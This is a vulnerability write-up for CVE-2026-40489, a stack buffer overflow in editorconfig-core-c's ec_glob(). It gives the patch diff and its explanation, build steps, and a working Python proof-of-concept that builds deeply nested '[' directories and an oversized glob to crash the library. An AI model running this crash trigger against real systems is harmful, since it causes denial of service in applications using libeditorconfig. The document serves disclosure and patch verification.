
Proof-of-concept and patch analysis for CVE-2026-40489, a stack buffer overflow in editorconfig-core-c ec_glob(), with build steps and a Python crash trigger.
NIST description about CVE:
editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains
an updated fix.
clone both versions:
git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c
# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4
# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8
we will diff it:
git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c
The diff:
diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
_Bool are_braces_paired = 1;
UT_array * nums; /* number ranges */
int ret = 0;
+ size_t pattern_len = strlen(pattern);
- strcpy(l_pattern, pattern);
+ /* Reject patterns that would overflow l_pattern in the copy below. */
+ if (pattern_len >= sizeof(l_pattern))
+ return -1;
+ memcpy(l_pattern, pattern, pattern_len + 1);
p_pcre = pcre_str + 1;
pcre_str_end = pcre_str + 2 * PATTERN_MAX;
old code was one line:
strcpy(l_pattern, pattern);
copies bytes until it hits a null terminator it doesn’t care how big the destination is. If pattern is longer than 8194 bytes (2 * PATTERN_MAX), it writes past the end of l_pattern and onto the stack.
fix does three things:
strlen(pattern) gets the length before copying anything-1 instead of copying. The >= (not >) matters because you need room for the null terminator too.memcpy instead of strcpy since the length is already known, there’s no reason to scan the string again. memcpy copies exactly pattern_len + 1 bytes (the +1 includes the null terminator).we will build binary and make sure it works:
rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make
PoC:
import os
import subprocess
import shutil
base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
nested = os.path.join(nested, "[" * 200)
test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")
binary_path = "/tmp/editorconfig"
if os.path.exists(base):
shutil.rmtree(base)
os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()
# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000
with open(config_file, 'w') as f:
f.write("root = true\n\n")
f.write(f"[{glob_pattern}]\n")
f.write("indent_size = 2\n")
res = subprocess.run([binary_path, test_file], capture_output=True, text=True)
if res.returncode == -6:
print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
print(f"[-] not vulnerable (return code: {res.returncode})")
The binary looks for .editorconfig in folder where .txt is located and reads the glob pattern from it.
you run editorconfig /tmp/dummy-config/[[[[[.../test.txt, the binary needs to match the filename against the glob pattern from .editorconfig, to do that, it builds a full pattern like: /tmp/dummy-config/\[\[\[\[.../**/AAAA.... It prepends the directory path to the glob so it can match against the full file path.
[ means something in glob syntax (it’s a character class, like [a-z]). The directory literally has [ in its name it’s not meant as a glob. So the code escapes each one with a backslash: [ → \[. That means “literal [, not a glob.” editorconfig.c does it automatically. When it reads the path to your .editorconfig file, it loops through every character and if it finds any glob-special character, it inserts a \ before it. This happens before the path ever reaches ec_glob()
Every [ in the path gains one extra character. 2100 characters become ~4200. Add the 4000-char glob on top and this string gets passed to ec_glob(), which does strcpy(l_pattern, pattern) into an 8194-byte buffer. 8203 > 8194 which means it writes past the buffer.
on modern Linux with FORTIFY_SOURCE, the runtime detects the overwrite and kills the process with SIGABRT (signal 6). Python sees this as return code -6, return code -6 means it is vulnerable, 0 or 1 = patched (the fix adds a length check before the copy and returns -1 if it’s too long)